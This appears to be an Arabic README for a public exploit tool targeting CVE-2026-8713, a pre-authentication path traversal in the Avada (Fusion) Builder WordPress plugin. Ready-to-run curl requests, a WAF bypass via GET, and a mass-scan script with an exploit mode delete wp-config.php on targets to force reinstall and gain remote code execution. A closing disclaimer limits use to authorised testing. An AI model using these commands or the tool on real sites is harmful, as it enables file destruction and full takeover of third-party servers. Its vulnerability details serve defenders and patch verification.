
اجتياز المسار قبل المصادقة لحذف ملفات عشوائية في Avada (Fusion) Builder <= 3.15.3 مما يؤدي إلى RCE (CVSS 9.1)
CVE-2026-8713 هي ثغرة حرجة بتقييم CVSS 9.1 في إضافة/قالب Avada (Fusion) Builder لووردبريس. تبني دالة maybe_delete_files() في الفئة Fusion_Form_DB_Entries مسارات نظام الملفات من قيم إدخال النموذج التي يتحكم بها المهاجم باستخدام استبدال نصي بسيط — دون التحقق من realpath() أو فحوصات احتواء الدليل.
يُرسل مهاجم غير مُصادَق حمولة تجاوز مسار عبر معالج fusion_form_submit_ajax. وعندما يعالج خطاف الإغلاق Fusion_Form_DB_Privacy الإدخال مع privacy_expiration_action=delete، تتم إزالة الملف المستهدف من الخادم.
| الإصدار | الحالة |
|---|---|
| Fusion Builder ≤ 3.15.3 | عرضة للثغرة |
| Fusion Builder ≥ 3.15.4 | تم التصحيح |
| قالب Avada (جميع الإصدارات) | الإضافة المرفقة قد تكون عرضة للثغرة |
ملاحظة: يختلف إصدار قالب Avada (7.x) عن إصدار إضافة Fusion Builder (3.x). الثغرة موجودة في الإضافة، لكن الماسح يكتشف كليهما.
في fusion-builder/inc/class-fusion-form-db-entries.php، تحلّ طريقة maybe_delete_files() مسارات الملفات باستخدام استبدال نصي دون التحقق من الاحتواء:
$file_path = str_replace($upload['url'], $upload['path'], $value);
// No realpath() check — path traversal sequences pass through
unlink($file_path);
1. Attacker submits Avada form via wp_ajax_nopriv_fusion_form_submit_ajax
→ Path traversal: ../../wp-config.php
→ privacy_expiration_action = delete
→ privacy_expiration_interval = 0
2. WordPress shutdown hook fires Fusion_Form_DB_Privacy
→ Processes stored form entry
→ Calls maybe_delete_files() on attacker-controlled path
→ wp-config.php deleted
3. WordPress enters setup/install mode
→ Attacker connects site to malicious database
→ Full remote code execution
يتم تسجيل معالج AJAX مع wp_ajax_nopriv_، مما يجعله متاحًا للمستخدمين غير المُصادَق عليهم:
POST /wp-admin/admin-ajax.php
action=fusion_form_submit_ajax
form_id=<id>
privacy_expiration_action=delete
fusion_privacy_expiration_interval=0
fusion_form_field_<name>=../../wp-config.php
تحجب العديد من بيئات الاستضافة طلبات POST الموجهة إلى /wp-admin/admin-ajax.php. يقبل ووردبريس المعاملات عبر GET على نقطة النهاية هذه، مما يوفر تجاوزًا بسيطًا:
GET /wp-admin/admin-ajax.php?action=fusion_form_submit_ajax&form_id=<id>&privacy_expiration_action=delete&...
git clone https://github.com/shinthink/CVE-2026-8713.git
cd CVE-2026-8713
pip install -r requirements.txt
# Detection only (default — no file deletion)
python cve_2026_8713.py -t target.com
# Mass detection
python cve_2026_8713.py -f targets.txt
# Exploit mode — delete wp-config.php
python cve_2026_8713.py -t target.com --exploit
# Delete custom file
python cve_2026_8713.py -t target.com --exploit --delete "../../../debug.log"
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
--exploit Enable file deletion (default: detection only)
--delete PATH Custom file path to delete (default: wp-config.php)
-o, --output Save results to file
--threads Workers (default: 20)
-v, --verbose Show detailed output
$ python cve_2026_8713.py -f targets.txt
CVE-2026-8713 Avada (Fusion) Builder | CVSS 9.1
Mode: Detection | Targets: 521 | Workers: 20
───────────────────────────────────────────────────────
[EXPLOIT] target-vuln.com 1.2s form #3 (AJAX open)
[VULN] target-waf.com 2.1s form #1 (WAF blocked)
[AVADA] target-noform.com 0.5s (no form found)
[-] target-noavada.com 0.3s
───────────────────────────────────────────────────────
Scan complete | Time: 45s
───────────────────────────────────────────────────────
Targets : 521
Avada detected : 47
Forms found : 12
Vulnerable : 9
$ python cve_2026_8713.py -t target.com --exploit -v
CVE-2026-8713 — Avada Builder Exploit
CVSS 9.1 | Pre-Auth | Path Traversal → File Delete → RCE
[+] Found Avada form: id=3
[+] POST form_id=3: HTTP 403 (WAF blocked)
[+] GET form_id=3: HTTP 200 (WAF bypassed)
Host : target.com
Avada : YES
Form : 3
Deleted : wp-config.php (force reinstall → RCE)
Time : 3.2s
الخطوة 1 — التحقق من Avada
curl -sk 'https://target.com/wp-content/themes/Avada/style.css' | head -5
الخطوة 2 — العثور على معرف النموذج
curl -sk 'https://target.com/' | grep -oP 'fusion-form[^"]*form-id=["\x27](https://github.com/shinthink/cve-2026-8713/blob/HEAD/%5Cd+)'
الخطوة 3 — إرسال النموذج مع تجاوز المسار
curl -sk -X POST \
-d 'action=fusion_form_submit_ajax' \
-d 'form_id=3' \
-d 'privacy_expiration_action=delete' \
-d 'fusion_privacy_expiration_interval=0' \
-d 'fusion_form_field_x=../../wp-config.php' \
'https://target.com/wp-admin/admin-ajax.php'
الخطوة 4 — تجاوز WAF (إذا كان POST محظورًا)
curl -sk 'https://target.com/wp-admin/admin-ajax.php?action=fusion_form_submit_ajax&form_id=3&privacy_expiration_action=delete&fusion_privacy_expiration_interval=0&fusion_form_field_x=../../wp-config.php'
الخطوة 5 — التحقق من RCE واستغلالها
# Site in install mode?
curl -sk -o /dev/null -w '%{http_code}' 'https://target.com/wp-admin/install.php'
# HTTP 200 → wp-config deleted → connect malicious DB → full RCE
لأغراض التعليم والاختبار المصرح به فقط.
هذا البرنامج مخصص لمتخصصي الأمن الذين يجرون اختبارات اختراق مصرحًا بها، وللمؤسسات التي تدقق بنيتها التحتية الخاصة، وللباحثين الذين يدرسون استغلال الثغرات.
الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني وقد ينتهك:
- الولايات المتحدة: قانون الاحتيال وإساءة استخدام الحاسوب (18 U.S.C. 1030)
- إندونيسيا: UU ITE المواد 30 و46
- الاتحاد الأوروبي: التوجيه 2013/40/EU
- المملكة المتحدة: قانون إساءة استخدام الحاسوب 1990
لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.
هذا المشروع غير تابع لـ ThemeFusion أو Avada.
| المورد | الرابط |
|---|
| استشارة IONIX | ionix.io/threat-center/cve-2026-8713 |
| استشارة Wordfence | wordfence.com |
| Patchstack | patchstack.com |
| إدخال NVD | CVE-2026-8713 |